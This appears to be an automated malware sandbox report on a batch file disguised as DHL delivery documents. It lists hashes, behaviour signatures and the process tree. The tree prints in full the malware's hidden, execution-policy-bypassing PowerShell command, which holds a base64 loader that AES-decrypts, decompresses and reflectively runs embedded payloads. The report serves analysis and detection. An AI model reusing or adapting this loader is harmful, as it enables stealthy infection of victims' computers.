Analysis

  • max time kernel
    122s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07/03/2025, 16:03

General

  • Target

    awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat

  • Size

    64KB

  • MD5

    6ac676101e5cc6f9b723060ffafd7168

  • SHA1

    d1f888277d5a627862316a8a81d90e1a3dd19ee2

  • SHA256

    dac0285f7cc9ae45f5c79314a20853c5d9e1071bf657260f7fa34ae8f35a2ec9

  • SHA512

    8a5417c33e37cce7c58e3dc132d24104b6a9599e2788df9ca3e040b04241ae82d77c4709baa210cc06b638dd6a1ab188f27928db93df203b6b14e9c1a43d41cd

  • SSDEEP

    1536:IZkbmEKUgXEXzICKUnFP25y3Nm8RiepC+gR1LKT6x6bsLO:lHflwYigiHKTW6bsLO

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3044
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\awb_post_dhl_delivery_documents_07_03_2025_00000000000250507.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1272
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskdm53dGQgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJHZud3RkKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICR2bnd0ZCIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCR2bnd0ZCwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkdm53dGQiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24ganJpd3koJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ1hBOWltS0pYNzVQVk8rTEJ4MFpTZUdoSlRGZU5nelRCMzJUeENwQlpSakk9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ01rMzF0UGdXRWkzQi96R1VPbXIrTEE9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gbmNib2YoJHBhcmFtX3Zhcil7CSRkaGN1dT1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkb3FrbWo9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkbnl5cmc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkZGhjdXUsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJG55eXJnLkNvcHlUbygkb3FrbWopOwkkbnl5cmcuRGlzcG9zZSgpOwkkZGhjdXUuRGlzcG9zZSgpOwkkb3FrbWouRGlzcG9zZSgpOwkkb3FrbWouVG9BcnJheSgpO31mdW5jdGlvbiByeGRqcSgkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGlrbm10PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJHNnZmJ6PSRpa25tdC5FbnRyeVBvaW50Owkkc2dmYnouSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJHZud3RkOyRma3VoZD1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJHZud3RkKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkbmZsIGluICRma3VoZCkgewlpZiAoJG5mbC5TdGFydHNXaXRoKCc6OiAnKSkJewkJJG5oeWlqPSRuZmwuU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGt3ZXhxPVtzdHJpbmdbXV0kbmh5aWouU3BsaXQoJ1wnKTskeWVvcHA9bmNib2YgKGpyaXd5IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGt3ZXhxWzBdKSkpOyRyenp6cz1uY2JvZiAoanJpd3kgKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygka3dleHFbMV0pKSk7cnhkanEgJHllb3BwICRudWxsO3J4ZGpxICRyenp6cyAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2644

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/2644-6-0x000007FEF58EE000-0x000007FEF58EF000-memory.dmp

    Filesize

    4KB

  • memory/2644-7-0x000000001B770000-0x000000001BA52000-memory.dmp

    Filesize

    2.9MB

  • memory/2644-11-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2644-10-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2644-9-0x0000000001F70000-0x0000000001F78000-memory.dmp

    Filesize

    32KB

  • memory/2644-8-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2644-12-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2644-13-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB

  • memory/2644-14-0x000007FEF5630000-0x000007FEF5FCD000-memory.dmp

    Filesize

    9.6MB